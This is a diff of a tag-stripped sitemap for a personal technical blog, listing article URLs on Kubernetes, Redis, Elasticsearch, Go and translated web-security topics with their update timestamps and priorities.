-https://rifewang.github.io/categories/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/tags/kubernetes/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/categories/kubernetes/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/kube-proxy-cni/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/posts/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/tags/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/k8s-csi/2024-09-29T20:54:05+08:00weekly0.9https://rifewang.github.io/oci/2024-09-26T21:33:12+08:00weekly0.9https://rifewang.github.io/kubectl-to-k8s/2024-09-22T16:08:30+08:00weekly0.8https://rifewang.github.io/k8s-dns/2024-09-18T15:19:34+08:00weekly0.8https://rifewang.github.io/k8s-cni-network-model/2024-09-14T11:55:48+08:00weekly0.7https://rifewang.github.io/kubelet-cri-cni/2024-09-07T16:28:07+08:00weekly0.6https://rifewang.github.io/k8s-ingress-vs-gateway/2024-08-31T18:49:08+08:00weekly0.5https://rifewang.github.io/http-network-travel/2024-08-24T15:25:47+08:00weekly0.5https://rifewang.github.io/tags/%E7%BD%91%E7%BB%9C/2024-08-24T15:25:47+08:00weekly0.5https://rifewang.github.io/categories/%E7%BD%91%E7%BB%9C/2024-08-24T15:25:47+08:00weekly0.5https://rifewang.github.io/ddia-partition-replication-redis-kafka-es/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/tags/%E5%88%86%E5%B8%83%E5%BC%8F/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/categories/%E5%88%86%E5%B8%83%E5%BC%8F/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/tags/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/categories/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/million-qps-system/2024-08-15T18:43:00+08:00weekly0.5https://rifewang.github.io/categories/middleware/2024-07-16T13:50:43+08:00weekly0.5https://rifewang.github.io/tags/redis/2024-07-16T13:50:43+08:00weekly0.5https://rifewang.github.io/redis-full-text/2024-07-16T13:50:43+08:00weekly0.5https://rifewang.github.io/redis-vector/2024-07-09T22:31:35+08:00weekly0.5https://rifewang.github.io/tags/engineering/2024-07-04T16:31:57+08:00weekly0.5https://rifewang.github.io/categories/engineering/2024-07-04T16:31:57+08:00weekly0.5https://rifewang.github.io/image-search-use-client-model/2024-07-04T16:31:57+08:00weekly0.5https://rifewang.github.io/k8s-custom-scheduler/2024-06-15T21:56:43+08:00weekly0.5https://rifewang.github.io/k8s-service-long-lived-connection/2024-06-12T18:14:40+08:00weekly0.5https://rifewang.github.io/tags/elasticsearch/2024-03-18T18:45:00+08:00weekly0.5https://rifewang.github.io/categories/elasticsearch/2024-03-18T18:45:00+08:00weekly0.5https://rifewang.github.io/2024-ece/2024-03-18T18:45:00+08:00weekly0.5https://rifewang.github.io/resume/2024-09-29T20:54:05+08:00weekly0.9https://rifewang.github.io/resume/resume/2024-09-29T20:54:05+08:00weekly0.9https://rifewang.github.io/tags/cka/2024-02-01T00:34:22+08:00weekly0.5https://rifewang.github.io/2024-cka-cert/2024-02-01T00:34:22+08:00weekly0.5https://rifewang.github.io/redis-stack-json/2024-01-08T15:08:48+08:00weekly0.5https://rifewang.github.io/http-flow-to-container/2023-12-30T23:16:59+08:00weekly0.5https://rifewang.github.io/lease/2023-12-26T16:45:34+08:00weekly0.5https://rifewang.github.io/k8s-from-deploy-to-pod/2024-09-07T17:50:28+08:00weekly0.6https://rifewang.github.io/tags/golang/2023-12-19T16:41:25+08:00weekly0.5https://rifewang.github.io/k8s-crd-operator/2023-12-19T16:41:25+08:00weekly0.5https://rifewang.github.io/tags/container/2023-07-11T12:35:50+08:00weekly0.5https://rifewang.github.io/tags/docker/2023-07-11T12:35:50+08:00weekly0.5https://rifewang.github.io/the-internals-and-the-latest-trends-of-container-runtimes/2023-07-11T12:35:50+08:00weekly0.5https://rifewang.github.io/tags/java/2023-04-23T16:44:46+08:00weekly0.5https://rifewang.github.io/k8s-memory-management-for-java-applications/2023-04-23T16:44:46+08:00weekly0.5https://rifewang.github.io/k8s-admission-controller-sidacar-example/2023-04-16T20:17:35+08:00weekly0.5https://rifewang.github.io/tags/rfc-%E6%A0%87%E5%87%86/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/categories/uncate/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/rfc6902-json-patch/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/tags/cilium/2023-04-03T16:06:19+08:00weekly0.5https://rifewang.github.io/tags/cni/2023-04-03T16:06:19+08:00weekly0.5https://rifewang.github.io/why-cilium-for-k8s/2023-04-03T16:06:19+08:00weekly0.5https://rifewang.github.io/k8s-cpu-request-limit/2023-03-31T16:52:40+08:00weekly0.5https://rifewang.github.io/intro-k8s-gateway-api/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/the-journey-to-speed-up-oci-containers/2023-03-28T17:45:15+08:00weekly0.5https://rifewang.github.io/gracefully-shut-down/2023-03-25T21:27:31+08:00weekly0.5https://rifewang.github.io/reserved-cpu-memory-in-nodes/2023-03-25T17:20:33+08:00weekly0.5https://rifewang.github.io/ip-and-pod-allocations-in-eks/2023-03-23T19:14:22+08:00weekly0.5https://rifewang.github.io/working-with-k8s-api/2023-03-23T19:14:22+08:00weekly0.5https://rifewang.github.io/anonymous-access-to-k8s/2023-03-21T17:51:49+08:00weekly0.5https://rifewang.github.io/k8s-snapshots-usage/2023-03-22T18:43:51+08:00weekly0.5https://rifewang.github.io/k8s-secret-management/2023-03-20T10:54:36+08:00weekly0.5https://rifewang.github.io/about/2024-09-09T03:00:07+08:00weekly0.6https://rifewang.github.io/es-vector-search/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/cicd/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/terraform-overview/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/speed-up-image-pull/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/web-security/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/web-security/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/web-security/server-side-template-injection/server-side-template-injection/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/csrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/csrf-tokens/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/samesite-cookies/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/xss-vs-csrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/dom-based/dom-based-vulnerabilities/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/dom-based/dom-clobbering/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/http-host-header-attacks/http-host-header-attacks/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/http-host-header-attacks/password-reset-poisoning/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/clickjacking/clickjacking/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/request-smuggling/http-request-smuggling/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/request-smuggling/exploiting-request-smuggling/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/request-smuggling/finding-request-smuggling/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/command-injection/os-command-injection/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/ssrf/ssrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/ssrf/blind-ssrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/directory-traversal/directory-traversal/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/cors/cors/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/cors/access-control-allow-origin/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/cors/same-origin-policy/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/tags/mysql/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/mysql/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/protocol-connectionreplication/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/sync-data-from-mysql/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-distribute-search-steps/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-search-template/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/log-analyzer-system/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-function-score-query/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/logstash/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-search-total/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-search-system2/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-search-system/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/github/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/github-actions/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/node.js/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/ava-codecov-travis/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/makefile/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/memcached/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/create-memcached-client/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/influxdb/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/influxdb/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/7/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/6/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/5/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/4/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/3/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/2/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/1/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/errors/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/golang/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/gc/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/nodejs-thread-block/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/node.js/2023-02-25T19:26:14+08:00weekly0.5https://rifewang.github.io/efficient-js-from-v8-optimization/2023-02-25T19:26:14+08:00weekly0.5https://rifewang.github.io/grpc/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/why-use-go-module-proxy/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/top-10-mistakes/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/dockerfile-best-practice/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/lets-encrypt/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/nodejs-event-loop-architecture/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/kafka/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/mq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/kafka/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/puppeteer/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/opencv/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/python/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-similarity/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-processing/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-guide/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/nsq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/nsq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/docker-guide/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/rabbitmq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/rabbitmq/2023-02-27T15:51:36+08:00weekly0.5 \ No newline at end of file +https://rifewang.github.io/categories/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/tags/kubernetes/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/categories/kubernetes/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/kube-proxy-cni/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/posts/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/tags/2024-10-07T21:19:02+08:00weekly1https://rifewang.github.io/2024-10-09T13:24:50+08:00weekly1https://rifewang.github.io/k8s-csi/2024-09-29T20:54:05+08:00weekly0.9https://rifewang.github.io/oci/2024-09-26T21:33:12+08:00weekly0.9https://rifewang.github.io/kubectl-to-k8s/2024-09-22T16:08:30+08:00weekly0.8https://rifewang.github.io/k8s-dns/2024-09-18T15:19:34+08:00weekly0.8https://rifewang.github.io/k8s-cni-network-model/2024-09-14T11:55:48+08:00weekly0.7https://rifewang.github.io/kubelet-cri-cni/2024-09-07T16:28:07+08:00weekly0.6https://rifewang.github.io/k8s-ingress-vs-gateway/2024-08-31T18:49:08+08:00weekly0.5https://rifewang.github.io/http-network-travel/2024-08-24T15:25:47+08:00weekly0.5https://rifewang.github.io/tags/%E7%BD%91%E7%BB%9C/2024-08-24T15:25:47+08:00weekly0.5https://rifewang.github.io/categories/%E7%BD%91%E7%BB%9C/2024-08-24T15:25:47+08:00weekly0.5https://rifewang.github.io/ddia-partition-replication-redis-kafka-es/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/tags/%E5%88%86%E5%B8%83%E5%BC%8F/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/categories/%E5%88%86%E5%B8%83%E5%BC%8F/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/tags/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/categories/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/2024-08-22T18:51:52+08:00weekly0.5https://rifewang.github.io/million-qps-system/2024-08-15T18:43:00+08:00weekly0.5https://rifewang.github.io/categories/middleware/2024-07-16T13:50:43+08:00weekly0.5https://rifewang.github.io/tags/redis/2024-07-16T13:50:43+08:00weekly0.5https://rifewang.github.io/redis-full-text/2024-07-16T13:50:43+08:00weekly0.5https://rifewang.github.io/redis-vector/2024-07-09T22:31:35+08:00weekly0.5https://rifewang.github.io/tags/engineering/2024-07-04T16:31:57+08:00weekly0.5https://rifewang.github.io/categories/engineering/2024-07-04T16:31:57+08:00weekly0.5https://rifewang.github.io/image-search-use-client-model/2024-07-04T16:31:57+08:00weekly0.5https://rifewang.github.io/k8s-custom-scheduler/2024-06-15T21:56:43+08:00weekly0.5https://rifewang.github.io/k8s-service-long-lived-connection/2024-06-12T18:14:40+08:00weekly0.5https://rifewang.github.io/tags/elasticsearch/2024-03-18T18:45:00+08:00weekly0.5https://rifewang.github.io/categories/elasticsearch/2024-03-18T18:45:00+08:00weekly0.5https://rifewang.github.io/2024-ece/2024-03-18T18:45:00+08:00weekly0.5https://rifewang.github.io/resume/2024-10-09T13:24:50+08:00weekly1https://rifewang.github.io/resume/resume/2024-10-09T13:24:50+08:00weekly1https://rifewang.github.io/tags/cka/2024-02-01T00:34:22+08:00weekly0.5https://rifewang.github.io/2024-cka-cert/2024-02-01T00:34:22+08:00weekly0.5https://rifewang.github.io/redis-stack-json/2024-01-08T15:08:48+08:00weekly0.5https://rifewang.github.io/http-flow-to-container/2023-12-30T23:16:59+08:00weekly0.5https://rifewang.github.io/lease/2023-12-26T16:45:34+08:00weekly0.5https://rifewang.github.io/k8s-from-deploy-to-pod/2024-09-07T17:50:28+08:00weekly0.6https://rifewang.github.io/tags/golang/2023-12-19T16:41:25+08:00weekly0.5https://rifewang.github.io/k8s-crd-operator/2023-12-19T16:41:25+08:00weekly0.5https://rifewang.github.io/tags/container/2023-07-11T12:35:50+08:00weekly0.5https://rifewang.github.io/tags/docker/2023-07-11T12:35:50+08:00weekly0.5https://rifewang.github.io/the-internals-and-the-latest-trends-of-container-runtimes/2023-07-11T12:35:50+08:00weekly0.5https://rifewang.github.io/tags/java/2023-04-23T16:44:46+08:00weekly0.5https://rifewang.github.io/k8s-memory-management-for-java-applications/2023-04-23T16:44:46+08:00weekly0.5https://rifewang.github.io/k8s-admission-controller-sidacar-example/2023-04-16T20:17:35+08:00weekly0.5https://rifewang.github.io/tags/rfc-%E6%A0%87%E5%87%86/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/categories/uncate/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/rfc6902-json-patch/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/tags/cilium/2023-04-03T16:06:19+08:00weekly0.5https://rifewang.github.io/tags/cni/2023-04-03T16:06:19+08:00weekly0.5https://rifewang.github.io/why-cilium-for-k8s/2023-04-03T16:06:19+08:00weekly0.5https://rifewang.github.io/k8s-cpu-request-limit/2023-03-31T16:52:40+08:00weekly0.5https://rifewang.github.io/intro-k8s-gateway-api/2023-04-07T15:54:11+08:00weekly0.5https://rifewang.github.io/the-journey-to-speed-up-oci-containers/2023-03-28T17:45:15+08:00weekly0.5https://rifewang.github.io/gracefully-shut-down/2023-03-25T21:27:31+08:00weekly0.5https://rifewang.github.io/reserved-cpu-memory-in-nodes/2023-03-25T17:20:33+08:00weekly0.5https://rifewang.github.io/ip-and-pod-allocations-in-eks/2023-03-23T19:14:22+08:00weekly0.5https://rifewang.github.io/working-with-k8s-api/2023-03-23T19:14:22+08:00weekly0.5https://rifewang.github.io/anonymous-access-to-k8s/2023-03-21T17:51:49+08:00weekly0.5https://rifewang.github.io/k8s-snapshots-usage/2023-03-22T18:43:51+08:00weekly0.5https://rifewang.github.io/k8s-secret-management/2023-03-20T10:54:36+08:00weekly0.5https://rifewang.github.io/about/2024-09-09T03:00:07+08:00weekly0.6https://rifewang.github.io/es-vector-search/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/cicd/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/terraform-overview/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/speed-up-image-pull/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/web-security/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/web-security/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/web-security/server-side-template-injection/server-side-template-injection/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/2023-02-21T17:49:24+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/csrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/csrf-tokens/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/samesite-cookies/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/csrf/xss-vs-csrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/dom-based/dom-based-vulnerabilities/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/dom-based/dom-clobbering/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/http-host-header-attacks/http-host-header-attacks/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/http-host-header-attacks/password-reset-poisoning/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/clickjacking/clickjacking/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/request-smuggling/http-request-smuggling/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/request-smuggling/exploiting-request-smuggling/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/request-smuggling/finding-request-smuggling/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/command-injection/os-command-injection/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/ssrf/ssrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/ssrf/blind-ssrf/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/directory-traversal/directory-traversal/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/cors/cors/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/cors/access-control-allow-origin/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/translation/web-security/cors/same-origin-policy/2023-02-21T11:33:46+08:00weekly0.5https://rifewang.github.io/tags/mysql/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/mysql/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/protocol-connectionreplication/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/sync-data-from-mysql/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-distribute-search-steps/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-search-template/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/log-analyzer-system/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-function-score-query/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/logstash/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-search-total/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-search-system2/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-search-system/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/github/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/github-actions/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/node.js/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/ava-codecov-travis/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/makefile/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/memcached/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/create-memcached-client/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/influxdb/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/influxdb/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/7/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/6/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/5/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/4/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/3/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/2/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/1/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/errors/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/golang/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/gc/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/nodejs-thread-block/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/categories/node.js/2023-02-25T19:26:14+08:00weekly0.5https://rifewang.github.io/efficient-js-from-v8-optimization/2023-02-25T19:26:14+08:00weekly0.5https://rifewang.github.io/grpc/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/why-use-go-module-proxy/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/top-10-mistakes/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/dockerfile-best-practice/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/lets-encrypt/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/nodejs-event-loop-architecture/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/kafka/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/mq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/kafka/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/puppeteer/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/opencv/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/python/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-similarity/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/image-processing/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/es-guide/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/nsq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/nsq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/docker-guide/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/tags/rabbitmq/2023-02-27T15:51:36+08:00weekly0.5https://rifewang.github.io/rabbitmq/2023-02-27T15:51:36+08:00weekly0.5 \ No newline at end of file